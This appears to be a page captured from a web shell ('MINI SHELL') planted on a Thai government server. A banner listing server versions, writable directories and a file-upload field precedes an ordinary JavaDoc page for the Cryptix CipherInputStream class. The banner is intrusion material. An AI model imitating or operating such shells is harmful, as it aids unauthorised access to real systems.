MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/javadoc/cryptix-3.2.0/xjava/security/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/javadoc/cryptix-3.2.0/xjava/security/CipherInputStream.html
<?xml version="1.0" encoding="US-ASCII"?>
<!DOCTYPE html PUBLIC "-//gnu.org///DTD XHTML 1.1 plus Target 1.0//EN" "../../resources/xhtml11-target10.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>CipherInputStream (cryptix JavaDoc)</title><script src="../../resources/gjdoc.js" type="text/javascript"><!-- this comment required for konqueror 3.2.2 --></script><meta http-equiv="Content-Type" content="text/html; charset=US-ASCII"/><meta name="generator" content="GNU Gjdoc Standard Doclet"/><meta name="keywords" content="xjava.security.CipherInputStream class"/><meta name="keywords" content="read()"/><meta name="keywords" content="skip()"/><meta name="keywords" content="available()"/><meta name="keywords" content="close()"/><meta name="keywords" content="mark()"/><meta name="keywords" content="reset()"/><meta name="keywords" content="markSupported()"/><link rel="stylesheet" type="text/css" href="../../resources/gjdochtml-clean-layout.css" title="GNU Clean"/><link rel="stylesheet" type="text/css" href="../../resources/gjdochtml-clean-color1.css" title="GNU Clean"/></head><body class="content class" onload="if(parent.contentPageLoaded)parent.contentPageLoaded(document.title)"><table class="navbar div top"><tr><td class="navbar div top"><div class="navbar div top"><span class="navbar item enabled"><a href="../../overview-summary.html">Overview</a></span> <span class="navbar item enabled"><a href="package-summary.html">Package</a></span> <span class="navbar item enabled"><a href="tree.html">Tree</a></span> <span class="navbar item enabled"><a href="../../alphaindex.html">Index</a></span> <span class="navbar item enabled"><a href="../../deprecated.html">Deprecated</a></span> <span class="navbar item enabled"><a href="../../about.html">About</a></span></div></td></tr><tr><td class="navi"><a href="../../xjava/security/Cipher.html">Prev Class</a> | <a href="../../xjava/security/CipherOutputStream.html">Next Class</a></td><td class="navi"><a href="../../index.html" title="Show in a frameset" target="_top">Frames</a> | <a href="CipherInputStream.html" title="Show without frames" target="_top">No Frames</a> </td></tr><tr><td class="navi">Summary: Nested | Field | <a href="#summary-methods">Method</a> | <a href="#summary-constructors">Constr</a></td><td class="navi">Detail: Nested | Field | <a href="#detail-methods">Method</a> | <a href="#detail-constructors">Constr</a></td></tr></table><div class="class title outer"><h3 class="class title-package">xjava.security</h3><h1 class="class title-class">Class CipherInputStream</h1></div><div class="class inheritance-tree"><ul class="inheritance 0"><li class="inheritance 0"><code>FilterInputStream</code></li><li><ul class="inheritance 1"><li class="inheritance 1"><code>xjava.security.CipherInputStream</code></li><li></li></ul></li></ul></div><hr/><div class="class synopsis outer"><div class="class synopsis declaration"><code>public class <b class="class synopsis name">CipherInputStream</b></code></div><div class="class synopsis superclass"><code>extends FilterInputStream</code></div></div><hr/><div class="class description"> A FilterInputStream that encrypts or decrypts the data passing through
 it. Typically, this stream would be used as a filter to read
 an encrypted file. It can also be used to encrypt network communications
 (although this would normally require use of a stream cipher, or a block
 cipher in a stream-like mode such as CFB or OFB).
 <p/>
 This class has a constructor that takes an input stream and a Cipher
 as arguments. The cipher is used to encrypt or decrypt all data read
 through the stream. 
 <p/>
 The data is encrypted or decrypted, depending on the initialisation
 state of the Cipher. To get the encryption/decryption result bytes,
 make one or more calls to the <code>read</code> methods. One 
 <code><a href="#read()">read</a></code> method, with no arguments,
 returns the next result byte. The other
 <code><a href="#read(byte[], int, int)">read</a></code> method returns
 multiple result bytes at once.
 <p/>
 For block ciphers, some buffering of the data received from the input
 stream is done. The buffer length is calculated as follows:
 <pre>
    buffer length = cipher.getInputBlockSize() +
      (cipher.isPaddingBlockCipher() &amp;&amp;
       cipher.getState() == Cipher.DECRYPT) ? 1 : 0
 </pre>
 Each read operation will attempt to completely fill the buffer. The maximum
 number of bytes that can remain unprocessed after each <code>read</code> call
 is one less than the buffer length. In the case of a padding block cipher in
 DECRYPT mode, this means that one full ciphertext block may remain
 unprocessed, because it is necessary to read an extra byte in order to
 determine whether this is the last block of the stream. (It would be
 incorrect to process a block without making this check, since it may have
 padding bytes that need to be stripped out.)
 <p/>
 When EOF is reached for a padding/unpadding cipher in DECRYPT mode, the
 the decryption result is unpadded. If EOF is encountered part-way through
 a block, an <samp>IllegalBlockSizeException</samp> is thrown.
 <p/>
 When EOF is reached for a padding/unpadding cipher in ENCRYPT mode, the
 last block is padded before encryption. If the cipher does not support
 padding and the last block is incomplete, an <samp>IllegalBlockSizeException</samp>
 is thrown.
 <p/>
 For stream ciphers, that is, ciphers capable of encrypting or decrypting 
 a byte at a time, no buffering is necessary. 
 <p/>
 Note: calling methods of a cipher while it is being used by a
 CipherInputStream (apart from methods that have no side-effects,
 like <code>getAlgorithm()</code>, <code>get*BlockSize()</code>, etc.)
 will probably result in incorrect or unexpected output.
 <p/>
 <b>Copyright</b> &copy; 1997
 <a href="http://www.systemics.com/">Systemics Ltd</a> on behalf of the
 <a href="http://www.systemics.com/docs/cryptix/">Cryptix Development Team</a>.
 <br/>All rights reserved.
 <p/>
 <b>$Revision: 1.10 $</b>
</div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>Authors:</b></dt><dd class="tag item">David Hopwood</dd><dd class="tag item">Raif S. Naffah</dd></dl></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>Since:</b></dt><dd>IJCE 1.0.0</dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>See Also:</b></dt><dd><code>java.security.Cipher</code>, <code>java.security.Cipher.getInputBlockSize</code>, <code>java.security.Cipher.getOutputBlockSize</code>, <code>java.security.CipherOutputStream</code></dd></dl></div><div class="taglet"></div><div class="taglet"></div><a name="summary-constructors" id="summary-constructors"/><dl class="table container"><dd><table class="class summary" border="1" width="100%"><tr class="table header"><td colspan="2"><h2 class="table header">Constructor Summary</h2></td></tr><tr><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#CipherInputStream(InputStream,xjava.security.Cipher)">CipherInputStream</a>(InputStream&nbsp;is, <a href="../../xjava/security/Cipher.html" title="Class in xjava.security">Cipher</a>&nbsp;cipher)</code></dt><dd class="description"> Constructs an input stream using a cipher that must be
 initialised for either encryption or decryption, that is, a
 cipher whose state is either <code>ENCRYPT</code> or 
 <code>DECRYPT</code>.</dd></dl></td></tr></table></dd></dl><a name="summary-methods" id="summary-methods"/><dl class="table container"><dd><table class="class summary" border="1" width="100%"><tr class="table header"><td colspan="2"><h2 class="table header">Method Summary</h2></td></tr><tr><td class="left" valign="top"><code class="synopsis"> int</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#available()">available</a>()</code></dt><dd class="description"> Returns the number of bytes that can be guaranteed to be read from this
 input stream without blocking.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#close()">close</a>()</code></dt><dd class="description"> Closes the input stream.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#mark(int)">mark</a>(int&nbsp;readlimit)</code></dt><dd class="description"> Does nothing, since this class does not support mark/reset.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> boolean</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#markSupported()">markSupported</a>()</code></dt><dd class="description"> Tests if this input stream supports the <code>mark</code> and
 <code>reset</code> methods of InputStream, which it does not.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> int</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#read()">read</a>()</code></dt><dd class="description"> Returns the next encrypted or decrypted byte, depending on the
 cipher state.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> int</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#read(byte[],int,int)">read</a>(byte[]&nbsp;out, int&nbsp;offset, int&nbsp;length)</code></dt><dd class="description"> Fills up the specified bytes of the <i>out</i> array with the next
 <i>len</i> encrypted or decrypted bytes (depending on the cipher state).</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#reset()">reset</a>()</code></dt><dd class="description"> Always throws an IOException, since this class does not support mark/reset.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> long</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#skip(long)">skip</a>(long&nbsp;n)</code></dt><dd class="description"> Skips over and discards <i>n</i> bytes of data from the
 input stream.</dd></dl></td></tr></table></dd></dl><a name="detail-constructors" id="detail-constructors"/><h2 class="section header">Constructor Details</h2><div class="section"><a name="CipherInputStream(InputStream,xjava.security.Cipher)" id="CipherInputStream(InputStream,xjava.security.Cipher)"/><div class="member detail outer"><h3 class="member detail name">CipherInputStream</h3><pre class="member detail synopsis">public CipherInputStream(InputStream is,
                         <a href="../../xjava/security/Cipher.html" title="Class in xjava.security">Cipher</a> cipher)</pre><blockquote class="member detail name"><div class="member detail description"> Constructs an input stream using a cipher that must be
 initialised for either encryption or decryption, that is, a
 cipher whose state is either <code>ENCRYPT</code> or 
 <code>DECRYPT</code>.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">cipher</code><span class="separator"> - </span><span class="description">an initialised cipher.</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>See Also:</b></dt><dd><code>java.security.Cipher</code></dd></dl></div><div class="taglet"></div><div class="taglet"></div></blockquote></div></div><a name="detail-methods" id="detail-methods"/><h2 class="section header">Method Details</h2><div class="section"><a name="available()" id="available()"/><div class="member detail outer"><h3 class="member detail name">available</h3><pre class="member detail synopsis">public int available()
            throws IOException</pre><blockquote class="member detail name"><div class="member detail description"> Returns the number of bytes that can be guaranteed to be read from this
 input stream without blocking.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="close()" id="close()"/><div class="member detail outer"><h3 class="member detail name">close</h3><pre class="member detail synopsis">public void close()
            throws IOException</pre><blockquote class="member detail name"><div class="member detail description"> Closes the input stream.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="mark(int)" id="mark(int)"/><div class="member detail outer"><h3 class="member detail name">mark</h3><pre class="member detail synopsis">public void mark(int readlimit)</pre><blockquote class="member detail name"><div class="member detail description"> Does nothing, since this class does not support mark/reset.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="markSupported()" id="markSupported()"/><div class="member detail outer"><h3 class="member detail name">markSupported</h3><pre class="member detail synopsis">public boolean markSupported()</pre><blockquote class="member detail name"><div class="member detail description"> Tests if this input stream supports the <code>mark</code> and
 <code>reset</code> methods of InputStream, which it does not.
</div><div class="member detail return list"><dl><dt class="member detail return header"><b>Returns:</b></dt><dd class="member detail return item"><code>false</code>, since this class does not support the
<code>mark</code> and <code>reset</code> methods.</dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="read()" id="read()"/><div class="member detail outer"><h3 class="member detail name">read</h3><pre class="member detail synopsis">public int read()
            throws IOException</pre><blockquote class="member detail name"><div class="member detail description"> Returns the next encrypted or decrypted byte, depending on the
 cipher state.
</div><div class="member detail return list"><dl><dt class="member detail return header"><b>Returns:</b></dt><dd class="member detail return item">the next encrypted or decrypted byte, or -1 if the
last encrypted/decrypted byte was already returned.</dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>See Also:</b></dt><dd><code>java.security.Cipher.ENCRYPT</code>, <code>java.security.Cipher.DECRYPT</code>, <code>java.security.Cipher.getState</code></dd></dl></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="read(byte[],int,int)" id="read(byte[],int,int)"/><div class="member detail outer"><h3 class="member detail name">read</h3><pre class="member detail synopsis">public int read(byte[] out,
                int offset,
                int length)
            throws IOException</pre><blockquote class="member detail name"><div class="member detail description"> Fills up the specified bytes of the <i>out</i> array with the next
 <i>len</i> encrypted or decrypted bytes (depending on the cipher state).
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">out</code><span class="separator"> - </span><span class="description">the byte array into which the encrypted or decrypted
bytes will be read.</span></dd><dd class="item"><code class="name">offset</code><span class="separator"> - </span><span class="description">the offset into <i>out</i> indicating where the
first encrypted or decrypted byte should be read.</span></dd><dd class="item"><code class="name">length</code><span class="separator"> - </span><span class="description">the number of encrypted/decrypted bytes to read.</span></dd></dl></div><div class="member detail return list"><dl><dt class="member detail return header"><b>Returns:</b></dt><dd class="member detail return item">the number of bytes read into <i>out</i>, or -1 if no
encrypted or decrypted bytes remained.</dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>See Also:</b></dt><dd><code>java.security.Cipher.ENCRYPT</code>, <code>java.security.Cipher.DECRYPT</code>, <code>java.security.Cipher.getState</code></dd></dl></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="reset()" id="reset()"/><div class="member detail outer"><h3 class="member detail name">reset</h3><pre class="member detail synopsis">public void reset()
            throws IOException</pre><blockquote class="member detail name"><div class="member detail description"> Always throws an IOException, since this class does not support mark/reset.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="skip(long)" id="skip(long)"/><div class="member detail outer"><h3 class="member detail name">skip</h3><pre class="member detail synopsis">public long skip(long n)
            throws IOException</pre><blockquote class="member detail name"><div class="member detail description"> Skips over and discards <i>n</i> bytes of data from the
 input stream. The <code>skip</code> method may, for a variety of
 reasons, end up skipping over some smaller number of bytes,
 possibly 0. The actual number of bytes skipped is returned.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">n</code><span class="separator"> - </span><span class="description">the number of bytes to be skipped.</span></dd></dl></div><div class="member detail return list"><dl><dt class="member detail return header"><b>Returns:</b></dt><dd class="member detail return item">the actual number of bytes skipped.</dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div></div><p class="navbar bottom spacer"> </p><table class="navbar div bottom"><tr><td><div class="navbar div top"><span class="navbar item enabled"><a href="../../overview-summary.html">Overview</a></span> <span class="navbar item enabled"><a href="package-summary.html">Package</a></span> <span class="navbar item enabled"><a href="tree.html">Tree</a></span> <span class="navbar item enabled"><a href="../../alphaindex.html">Index</a></span> <span class="navbar item enabled"><a href="../../deprecated.html">Deprecated</a></span> <span class="navbar item enabled"><a href="../../about.html">About</a></span></div></td></tr></table></body></html>

Anon7 - 2021